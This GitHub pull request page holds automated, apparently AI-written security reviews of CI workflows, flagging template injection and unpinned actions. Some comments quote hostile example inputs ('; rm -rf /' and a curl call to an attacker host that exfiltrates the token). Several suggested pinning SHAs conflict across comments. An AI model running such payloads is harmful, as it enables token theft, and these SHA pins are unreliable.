Skip to content

feat: refactor and document CI/CD pipeline and security posture#17

Closed
pmalarme wants to merge 18 commits intomainfrom
feature/add-documentation-and-copilot-instructions
Closed

feat: refactor and document CI/CD pipeline and security posture#17
pmalarme wants to merge 18 commits intomainfrom
feature/add-documentation-and-copilot-instructions

Conversation

@pmalarme
Copy link
Owner

Summary

This pull request introduces several foundational files and documentation updates to support agentic workflows, security review processes, and Python development environments in the repository. The most important changes include the addition of agent documentation, a security reviewer agent, a reusable Python environment setup GitHub Action, and configuration files for workflow and ownership management.

Agent and Security Documentation:

  • Added a comprehensive agent documentation file (.github/agents/agentic-workflows.agent.md) describing the GitHub Agentic Workflows agent, its dispatcher logic, supported prompts, usage instructions, and security best practices.
  • Introduced a security reviewer agent (.github/agents/security-reviewer.agent.md) with detailed checklists for 15 security posture categories, output format, and review instructions tailored for a Python monorepo building AI agents.

Python Environment Setup Action:

  • Added a reusable composite GitHub Action for setting up a Python environment using uv, with configurable Python version, optional docs dependencies, and extra sync arguments (.github/actions/setup-python-env/action.yml and README.md). [1] [2]

Repository Configuration and Ownership:

  • Added a .gitattributes rule to mark workflow lock files as generated and resolve merge conflicts in favor of the current branch.
  • Added a template .github/CODEOWNERS file with example ownership assignments for agents, workflows, and documentation.

Workflow Dependency Locking:

  • Introduced .github/aw/actions-lock.json to pin GitHub Actions dependencies by SHA for supply chain security and reproducibility.

Testing

  • Not run (why?)
  • uv run poe check
  • Other:

Checklist

  • Linked issue or task reference
  • Added/updated tests where relevant
  • Updated docs/README if needed
  • No secrets or sensitive data added
  • Considered backward compatibility and deployment impact

Additional context

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

I reviewed all code changes in this PR against 15 security posture categories. No critical or high severity issues were found. The changes follow secure-by-default principles and the project's coding standards.

Review Coverage

1. Input Validation and Sanitization - The new require_non_blank_strings decorator provides robust input validation with clear error messages. Type checking and whitespace trimming are properly implemented.

2. Secrets and Credentials - No secrets or credentials in code. All workflows use ${{ secrets.* }} syntax appropriately.

3. Subprocess and Command Execution - The setup-python-env action properly uses composite shell commands without shell=True risks. The docker-build workflow uses static docker commands.

4. Network and HTTP Security - No network operations in Python code changes. Workflows use HTTPS for GitHub API.

5. Authentication and Authorization - Workflows follow least privilege with permissions: contents: read. The security-review workflow correctly sets permissions: {} at top level.

6. Logging and Observability Hygiene - No logging code added. Error messages in validators are clear but don't leak sensitive data.

7. Error Handling and Information Disclosure - Custom exceptions follow project conventions with __slots__ = () and structured messages. No information disclosure risks.

8. Dependency and Supply Chain Security - GitHub Actions are pinned by SHA (e.g., actions/checkout@de0fac2e, actions/github-script@ed597411d8). astral-sh/setup-uv@v5 uses semantic version (acceptable for first-party actions from established publishers).

9. File System and Resource Safety - No file system operations in Python changes that introduce security concerns.

10. Cryptography and Randomness - No cryptographic operations added.

11. Configuration and Environment - Composite action properly validates boolean inputs (include-docs). No unsafe defaults.

12. Concurrency and Race Conditions - No shared mutable state or concurrency patterns introduced.

13. Container and Deployment Security - Docker build workflow uses safe, static commands. persist-credentials: false correctly set on checkouts.

14. CI/CD and GitHub Actions Security - Workflows follow best practices: pinned actions, least-privilege permissions, no hardcoded secrets, persist-credentials: false on checkouts.

15. Test Security Coverage - New tests cover failure paths (test_run_requires_name, test_run_rejects_whitespace_only_name) validating rejection of empty/whitespace strings.

Positive Security Observations

  • Input validation decorator pattern: The require_non_blank_strings decorator is well-designed with proper type checking, None handling, and whitespace validation.
  • Exception design: All custom exceptions follow project conventions with __slots__ = () and inherit from appropriate base classes.
  • CI/CD hardening: Actions pinned by SHA, permissions minimized, credentials not persisted.
  • Test coverage: Security-relevant edge cases (empty string, whitespace-only) are tested.

Conclusion

The changes maintain a strong security posture. The refactoring improves code quality by centralizing validation logic and removing duplication. No security issues require remediation.

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

Reviewed all changed files against the 15 security posture categories. No critical issues were found. The Python agent code, validators, error classes, and tests are well-structured and follow secure patterns. The main findings are in the new GitHub Actions workflows.

Findings

Severity Count Area
High 1 Template injection in composite action
Medium 3 Unpinned third-party GitHub Actions (supply chain)
Low 2 persist-credentials: true scope / unused permissions

Key Issues

  1. High — Template injection (.github/actions/setup-python-env/action.yml line 34): ${{ inputs.extra-args }} is interpolated directly into the shell script. Fix by routing through an env: variable so the value is treated as data, not code.

  2. Medium — Unpinned actions (all new workflow files): astral-sh/setup-uv@v5, actions/checkout@v6, actions/upload-pages-artifact@v4, and actions/deploy-pages@v4 use mutable tags. Pin by commit SHA to prevent supply-chain attacks — particularly important for upload-pages-artifact and deploy-pages which run with pages: write and id-token: write.

  3. Low — Credential scope (monorepo-release.yml, python-release.yml): persist-credentials: true is needed for git push but should be documented as intentional; the packages: write permission in python-release.yml can be removed if no package registry publish step is enabled.

Categories with no issues

  • Input Validation & Sanitization ✅ (new validator/decorator code is solid)
  • Secrets & Credentials ✅ (no hardcoded secrets; GITHUB_TOKEN used correctly)
  • Subprocess & Command Execution ✅
  • Network & HTTP Security ✅
  • Authentication & Authorization ✅
  • Logging & Observability ✅
  • Error Handling ✅ (custom exceptions follow project conventions with __slots__ = ())
  • Dependency & Supply Chain ✅ (uv.lock updated; lock file check in CI)
  • File System Safety ✅
  • Cryptography & Randomness ✅
  • Configuration & Environment ✅
  • Concurrency ✅
  • Container/Deployment (Dockerfile) — not applicable to these changes
  • Test Security Coverage ✅ (good coverage of invalid inputs, blank/whitespace, None, wrong type)

if [[ "${{ inputs.include-docs }}" == "true" ]]; then
args="$args --group docs"
fi
uv sync $args ${{ inputs.extra-args }}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: High

$\{\{ inputs.extra-args }} is interpolated directly into the shell script at template-render time, before the shell parses the script. If a workflow passes a value containing shell metacharacters (e.g., --extra ; malicious-command), those characters are executed by the shell. This is a template/script-injection vulnerability.

Recommendation: Pass the input value through an environment variable so the shell receives it as a data string, not executable text:

- name: Install dependencies
  shell: bash
  env:
    EXTRA_ARGS: $\{\{ inputs.extra-args }}
  run: |
    args="--all-extras --dev"
    if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
      args="$args --group docs"
    fi
    # Word-split EXTRA_ARGS intentionally to allow multiple flags
    # shellcheck disable=SC2086
    uv sync $args $EXTRA_ARGS

By routing the value through env:, the template expression is evaluated in a context where the runner sanitises the assignment rather than embedding raw text into executable code.

using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Medium

astral-sh/setup-uv@v5 is a third-party action pinned by mutable tag, not by commit SHA. Tag v5 can be moved to point to a different (possibly malicious) commit at any time, creating a supply-chain risk.

Recommendation: Pin the action by its commit SHA:

uses: astral-sh/setup-uv@f0ec1fc3b38f5e7cd731bb6ce540c5af6b3eba13 # v5.4.2

Obtain the SHA with:

gh api repos/astral-sh/setup-uv/git/ref/tags/v5 --jq '.object.sha'

Apply the same SHA-pinning to all third-party actions in this composite action.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Medium

actions/checkout@v6 is pinned by mutable tag. While this is a first-party GitHub action, tag-pinning is still considered a supply-chain risk because tags can be moved. GitHub's own security hardening guide recommends SHA pinning for all actions.

Recommendation: Pin by commit SHA:

uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

This same finding applies to every workflow file in this PR that uses actions/checkout@v6 — apply SHA pinning consistently across all new workflows.

uses: actions/checkout@v6
with:
fetch-depth: 0
persist-credentials: true

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Low

persist-credentials: true is explicitly set, meaning the GitHub token is stored in the local git config for the lifetime of the job. This is necessary here (git push is required to create the tag), but the window between checkout and git push origin "$TAG" is wider than necessary — all intermediate steps have access to live credentials.

Recommendation: If the credential window can be narrowed — for example, by generating the token immediately before the git push step — that is preferable. As a minimum, document why persist-credentials: true is required so reviewers understand the intentional deviation from the default false pattern used elsewhere:

- name: Checkout
  uses: actions/checkout@(SHA) # v6
  with:
    fetch-depth: 0
    persist-credentials: true  # Required: git push creates the release tag below

run: uv run python scripts/generate_docs.py

- name: Upload Pages artifact
uses: actions/upload-pages-artifact@v4

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Medium

actions/upload-pages-artifact@v4 and actions/deploy-pages@v4 (line 60) are both pinned by mutable tag. These actions run in a job that has pages: write and id-token: write permissions — a higher-privilege context. SHA pinning is especially important here.

Recommendation: Pin both actions by commit SHA. Example for upload-pages-artifact@v4:

uses: actions/upload-pages-artifact@56afc609e74202658d3ffba0e8f6dda462b719fa # v3.0.1

Retrieve current SHAs:

gh api repos/actions/upload-pages-artifact/git/ref/tags/v4 --jq '.object.sha'
gh api repos/actions/deploy-pages/git/ref/tags/v4 --jq '.object.sha'

steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v4

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Medium

actions/deploy-pages@v4 is pinned by mutable tag in a job that holds id-token: write (OIDC) and pages: write permissions. These are sensitive privileges; SHA pinning is especially important.

Recommendation: Replace mutable tag with a SHA pin:

uses: actions/deploy-pages@d6773a56399d9ea0f78ddef1e2acd5887e2e5d4e # v4.0.5

uses: actions/checkout@v6
with:
fetch-depth: 0
persist-credentials: true

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14) — Severity: Low

persist-credentials: true is explicitly set in a release job that also has permissions: contents: write and packages: write. These broad permissions combined with persistent credentials extend the credential exposure window across all intermediate steps (environment setup, build, etc.).

Recommendation: Document the intent and, if possible, scope the credential to a fine-grained PAT with only tag/release creation permissions:

- name: Checkout
  uses: actions/checkout@(SHA) # v6
  with:
    fetch-depth: 0
    persist-credentials: true  # Required: subsequent steps push tags and create releases

Also consider whether packages: write is actively needed — if no package registry publish step is enabled, this permission can be removed to follow least-privilege.

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

This PR adds a substantial amount of CI/CD infrastructure, GitHub Actions workflows, Python validator utilities, and documentation. The Python code additions (validator decorators, error types) are well-structured with good input validation patterns. The main security concerns are in the GitHub Actions layer.

Findings

# Severity Category Location Summary
1 High CI/CD Supply Chain action.yml:22 astral-sh/setup-uv@v5 not pinned by SHA
2 Medium Command Injection action.yml:34 extra-args input interpolated directly into shell
3 Medium CI/CD Supply Chain All new workflows actions/checkout@v6 not pinned by SHA (7 files)
4 Medium CI/CD Supply Chain python-docs.yml:50,66 upload-pages-artifact@v4 / deploy-pages@v4 not pinned by SHA
5 Low Command Injection python-docker-build.yml:73 ${{ matrix.agent }} interpolated into docker build command

What looks good ✅

  • Python validators: The new blank_string_validator.py and error classes correctly validate inputs at the boundary using allowlist-style type checks and blank-string detection. Error messages expose only parameter names, not stack traces or internal paths.
  • Secrets handling: All secrets are accessed via ${{ secrets.* }} in workflow files. No hardcoded credentials found.
  • persist-credentials: false is correctly set on non-release checkout steps.
  • The auto-generated security-review.lock.yml correctly pins all actions by SHA — the manually maintained workflows should follow the same pattern.
  • Test coverage: New tests cover the whitespace-only rejection path and the empty-string rejection path.

Priority fixes needed

  1. Pin astral-sh/setup-uv to a commit SHA (the SHA already used in the lock file for actions/checkout shows this pattern is understood).
  2. Validate extra-args in the composite action before shell interpolation, or replace free-form extra args with explicit boolean inputs.
  3. Pin all actions/checkout, actions/upload-pages-artifact, and actions/deploy-pages references by SHA across all new workflow files.

using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: High

astral-sh/setup-uv@v5 is referenced by a mutable version tag rather than a pinned SHA. If the v5 tag is moved or the astral-sh/setup-uv repository is compromised, malicious code could run in every workflow that calls this composite action (which includes every code-quality, test, build, release, and docs workflow).

Recommendation: Pin to a specific commit SHA:

uses: astral-sh/setup-uv@f0ec1fc3b38f5e7cd731bb6ce540c5af426746bb  # v5.4.2

You can find the current SHA by running gh api repos/astral-sh/setup-uv/git/ref/tags/v5 --jq .object.sha or by checking the releases page.

- name: Build Docker image
run: |
docker build \
-t "${{ matrix.agent }}:ci" \

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution / CI/CD Security
Severity: Low

$\{\{ matrix.agent }} is interpolated directly into the docker build command at YAML evaluation time. The value is derived from agent directory names in the repository, so the practical risk requires an attacker to create a directory with a malicious name (e.g., containing shell metacharacters) and have it merged. This would be caught by code review, but it is a defense-in-depth concern.

Recommendation: Assign the matrix value to a shell variable before use, so it is treated as data rather than code:

- name: Build Docker image
  env:
    AGENT: $\{\{ matrix.agent }}
  run: |
    docker build \
      -t "\$\{AGENT}:ci" \
      -f "agents/\$\{AGENT}/Dockerfile" \
      "agents/\$\{AGENT}"

- name: Smoke test
  env:
    AGENT: $\{\{ matrix.agent }}
  run: docker run --rm "\$\{AGENT}:ci" --help || true

Using env: causes GitHub Actions to pass the value as an environment variable rather than interpolating it into the script string, eliminating the injection surface.


deploy:
name: deploy to GitHub Pages
needs: build

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: Medium

actions/upload-pages-artifact@v4 and actions/deploy-pages@v4 (line 66) are pinned to mutable version tags rather than commit SHAs. The docs workflow runs on push to main, meaning compromised tags would have write access to GitHub Pages.

Recommendation: Pin both actions by SHA:

uses: actions/upload-pages-artifact@56afc609e74202658d3ffba0e8f6dda462b719fa  # v3.0.1
# ...
uses: actions/deploy-pages@d6db90164ac5ed86f2b6aed7e0febac5b3c0c03e  # v4.0.5

(Verify current SHAs from the respective release pages.)


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: Medium

actions/checkout@v6 uses a mutable version tag rather than a commit SHA. This same pattern appears in every new workflow added in this PR:

  • .github/workflows/monorepo-release.yml (line 32)
  • .github/workflows/python-code-quality.yml (line 24)
  • .github/workflows/python-tests.yml (line 26)
  • .github/workflows/python-docker-build.yml (lines 25, 65)
  • .github/workflows/python-package-build.yml (line 27)
  • .github/workflows/python-release.yml (line 28)
  • .github/workflows/python-docs.yml (line 36)

Note: The auto-generated security-review.lock.yml correctly pins actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 — the manually maintained workflows should follow the same pattern.

Recommendation: Pin actions/checkout by SHA in all workflows:

uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

(Or use the v6 SHA you already have in the lock file: de0fac2e4500dabe0009e67214ff5f5447ce83dd.)

if [[ "${{ inputs.include-docs }}" == "true" ]]; then
args="$args --group docs"
fi
uv sync $args ${{ inputs.extra-args }}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution / CI/CD Security
Severity: Medium

$\{\{ inputs.extra-args }} is expanded by GitHub Actions at YAML-evaluation time and interpolated directly into the shell command without quoting. A value containing shell metacharacters (;, &&, |, $(...)) would be interpreted by Bash and could execute arbitrary commands in the runner.

For example, `extra-args: "; curl (attacker.com/redacted) would exfiltrate the token.

Recommendation: Assign the input to a shell variable first, then expand it unquoted (to allow space-separated flags) but after validating it contains only safe characters, or use xargs / an array:

run: |
  args="--all-extras --dev"
  if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
    args="$args --group docs"
  fi
  # Assign to variable so YAML injection is confined to a single assignment
  extra="$\{\{ inputs.extra-args }}"
  # Validate: only allow alphanumeric, spaces, hyphens, equals, dots
  if [[ -n "$extra" && ! "$extra" =~ ^[a-zA-Z0-9\ \-\=\.\,\_]+$ ]]; then
    echo "::error::extra-args contains disallowed characters: $extra"
    exit 1
  fi
  uv sync $args $extra

Alternatively, avoid passing raw extra-args and instead expose explicit boolean flags for each well-defined option.

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

Reviewed all 30 changed files against 15 security posture categories. No critical or high severity issues were found. The changes introduce solid security improvements (input validation decorator, secure-by-default coding standards, CodeQL and Dependabot integration). Four findings at medium/low severity were identified, all in the new GitHub Actions CI/CD workflows:

Severity Category Location Finding
Medium Supply Chain (14) setup-python-env/action.yml:22 astral-sh/setup-uv@v5 not pinned by SHA
Medium Injection / Input Validation (3, 1) setup-python-env/action.yml:34 ${{ inputs.extra-args }} interpolated directly into shell script — template injection risk
Medium Supply Chain (14) All new workflows actions/checkout@v6 and other actions not pinned by SHA
Low Least Privilege (5) python-release.yml:13 packages: write permission granted but no step currently uses it
Low Concurrency / Resource Safety (12, 14) All new workflow jobs No timeout-minutes set — jobs can run indefinitely

Positives:

  • Python code changes (validator decorator, exception classes) follow all security conventions: no unsafe deserialization, no secrets, proper error messages, __slots__ on exceptions, no shell=True.
  • The new CODING_STANDARDS.md security section is comprehensive and correctly emphasises validate-at-boundary, never-log-secrets, and least-privilege principles.
  • All new workflows use persist-credentials: false on read-only jobs and scope permissions: blocks narrowly.
  • The security review agentic workflow (security-review.md) itself is well-structured with strict: true and scoped safe-outputs: limits.

using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14)
Severity: Medium

astral-sh/setup-uv@v5 uses a mutable version tag rather than an immutable commit SHA. If this tag is updated — intentionally or via a supply-chain compromise — the new code runs automatically in every CI pipeline without review.

Recommendation: Pin to the specific commit SHA for the desired version. For example:

uses: astral-sh/setup-uv@f0b8a6b27a14e46aea0d35b12e0f6e50e2f2b37e  # v5.4.0

Run gh aw compile --validate or use Dependabot (already configured) to keep the SHA up to date while remaining pinned.

contents: read

jobs:
tests:

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security / Concurrency (Categories 14 & 12)
Severity: Low

None of the newly added workflow jobs set a timeout-minutes value. Without a timeout, a hung test, build, or network call can hold a runner indefinitely, exhausting GitHub Actions minutes and potentially blocking other PRs.

This affects python-tests.yml, python-code-quality.yml, python-docs.yml, python-package-build.yml, python-release.yml, python-docker-build.yml, and monorepo-release.yml.

Recommendation: Add a job-level timeout to each job. For test and quality jobs a 30-minute ceiling is usually sufficient; for build/release jobs, 60 minutes:

jobs:
  tests:
    name: tests (python $\{\{ matrix.python-version }})
    runs-on: ubuntu-latest
    timeout-minutes: 30

if [[ "${{ inputs.include-docs }}" == "true" ]]; then
args="$args --group docs"
fi
uv sync $args ${{ inputs.extra-args }}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution / Input Validation (Categories 3 & 1)
Severity: Medium

$\{\{ inputs.extra-args }} is directly interpolated into the shell command without quoting. A caller passing a value containing shell metacharacters (e.g., ; rm -rf /, backticks, $(...)) could inject arbitrary shell commands at the runner level.

This is a template injection pattern: the GitHub Actions expression is expanded before the shell sees the script, making it impossible for the shell's quoting to protect against it.

# Current — vulnerable to injection
uv sync $args $\{\{ inputs.extra-args }}

Recommendation: Pass the value through an environment variable so the shell sees it as data, not code:

- name: Install dependencies
  shell: bash
  env:
    EXTRA_ARGS: $\{\{ inputs.extra-args }}
  run: |
    args="--all-extras --dev"
    if [[ "$\{\{ inputs.include-docs }}" == "true" ]]; then
      args="$args --group docs"
    fi
    # shellcheck disable=SC2086  # word-splitting is intentional for args
    uv sync $args $EXTRA_ARGS

Using an environment variable ensures the value is passed as a string bound to the variable, not interpolated into the script source. Also quote $args or use an array if you want to be strict about word splitting.

strategy:
fail-fast: false
matrix:
python-version: ["3.10", "3.11", "3.12", "3.13"]

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security (Category 14)
Severity: Medium

actions/checkout@v6 uses a mutable version tag. The same pattern appears across all newly added workflows (python-tests.yml, python-docs.yml, python-package-build.yml, python-release.yml, python-docker-build.yml, monorepo-release.yml). If the v6 tag is redirected to malicious code, all pipelines are affected.

Recommendation: Replace every actions/checkout@v6 with its pinned SHA. At the time of writing, the current SHA for v4 (stable) is:

uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

For v6 specifically (if that version exists), locate its SHA via:

gh api repos/actions/checkout/git/ref/tags/v6 --jq '.object.sha'

Add Dependabot entries for these actions in .github/dependabot.yml to automate SHA updates.


permissions:
contents: write # create tags, releases, and upload assets
packages: write

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Authentication and Authorization (Category 5)
Severity: Low

packages: write grants permission to push to GitHub Container Registry for the entire repository. The current implementation does not push any container images (the Docker publish block is commented out), making this permission unnecessarily broad.

Recommendation: Remove packages: write until a step that actually requires it is uncommented and in active use. Grant permissions only when the functionality is enabled:

permissions:
  contents: write   # create tags, releases, and upload assets
  # packages: write  # uncomment when publishing to GitHub Packages is enabled

This follows the principle of least privilege and reduces the blast radius if the workflow token is misused.

@pmalarme pmalarme closed this Feb 19, 2026
@pmalarme pmalarme reopened this Feb 19, 2026
Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review — Re-run (no new changes detected)

This security review is a re-run triggered on the same set of changed files reviewed previously (2026-02-19T10:24:32Z). No new files or lines were added since the last review. The findings below are carry-overs that remain unresolved.


Outstanding Findings

Severity Category File Issue
Medium CI/CD Security — Unpinned Action .github/actions/setup-python-env/action.yml line 22 astral-sh/setup-uv@v5 uses a mutable version tag. Pin to a commit SHA (e.g. astral-sh/setup-uv@f0b55c21b89c659acf4e7bdc2e15d93eb0e28124 # v5.x.x) to prevent supply-chain tampering.
Medium Subprocess / Template Injection .github/actions/setup-python-env/action.yml line 34 ${{ inputs.extra-args }} is directly interpolated into a bash run step. A caller can inject arbitrary shell commands (e.g. ; rm -rf / #). Use an env-var intermediary: env: EXTRA_ARGS: ${{ inputs.extra-args }} then reference $EXTRA_ARGS in the script.
Medium CI/CD Security — Unpinned Action All new workflow files (e.g. python-code-quality.yml line 18) actions/checkout@v6 and actions/upload-pages-artifact@v4 / actions/deploy-pages@v4 use mutable version tags. Pin all third-party Actions to full commit SHAs.
Low Authentication / Least Privilege .github/workflows/python-release.yml line 13 packages: write permission is declared but no step in the workflow currently uses the GitHub Packages registry. Remove it, or add a comment explaining when it will be needed.
Low CI/CD Security — Missing Timeout Multiple new workflow jobs No timeout-minutes is set on any new job, which allows runaway jobs to consume unlimited runner minutes. Add timeout-minutes: 20 (or an appropriate value) to each job.

Categories Confirmed Clean (new code)

  • Python Input Validation — the new blank_string_validator.py and decorator correctly validate for None, wrong type, and blank/whitespace-only strings with allowlist-style explicit checks. ✅
  • Error Handling — custom error classes follow project conventions. ✅
  • Secrets and Credentials — no hardcoded secrets anywhere in the diff. ✅
  • Logging / Information Disclosure — error messages are parameterized and do not leak internals. ✅
  • Dependency Supply Chain (lock file)uv.lock is consistent with pyproject.toml. ✅
  • Test Security Coveragetest_blank_string_validator.py covers rejection of None, wrong types, blank strings, and missing parameters. ✅

Overall posture: Medium risk — the template-injection issue in action.yml is the most actionable finding and should be addressed before merging. All Python agent code is clean.

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review – Re-run (2026-02-19)

Scope

This is a re-run of the security review. New files added since the last review that were not previously covered have been inspected across all 15 security posture categories:

New / modified file Assessment
validators/errors/{empty_string,missing_parameter,none_not_allowed,string_type}_error.py ✅ Clean — minimal exception classes using __slots__ = (), no information leakage, messages contain only static parameter names
validators/errors/__init__.py ✅ Clean
tests/test_blank_string_validator.py ✅ Clean — tests cover failure paths (None, empty, whitespace, wrong type), use obviously fake values, no external calls or real credentials
tests/test_agent.py (modified) ✅ Clean — whitespace-only rejection test added; good security coverage
scripts/run_tasks_in_agents_if_exists.py ✅ Clean — refactored to argparse; extra args forwarding mirrors prior sys.argv behavior; used only in CI, not exposed to untrusted input
scripts/check_md_code_blocks.py ✅ Clean — formatting only, no logic change
docs/source/conf.py ✅ Clean — type annotation improvements only
docs/manual/agent-guide-template.md ✅ Clean — security checklist additions are positive
pyproject.toml ✅ Clean — lock-verify added to the check pipeline (positive: prevents lock file drift); publish task uses uv publish with credentials expected via env/secrets
shared_tasks.toml ✅ Clean — removed tasks now consolidated at root level
uv.lock ✅ Positive — adding the lock file improves supply-chain security by pinning all transitive dependencies

Previously Flagged Issues (Unresolved)

The following findings from the prior review remain unresolved. They are on unchanged lines, so inline comments have not been repeated:

# Severity File Line Summary
1 Medium .github/actions/setup-python-env/action.yml 22 astral-sh/setup-uv@v5 not pinned by commit SHA
2 Medium .github/actions/setup-python-env/action.yml 34 ${{ inputs.extra-args }} interpolated directly into shell run step — template injection risk
3 Medium .github/workflows/python-*.yml (multiple) actions/checkout@v6 and other actions not pinned by SHA
4 Low .github/workflows/python-release.yml 13 packages: write permission — not currently used by any active step
5 Low .github/workflows/python-tests.yml etc. No timeout-minutes on new workflow jobs

Overall Posture

The new Python source code (validators, tests, scripts) is secure. The main outstanding risk area is CI/CD action pinning and template injection in action.yml, which should be addressed before this PR is merged to a production branch.

@pmalarme pmalarme closed this Feb 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant

Comments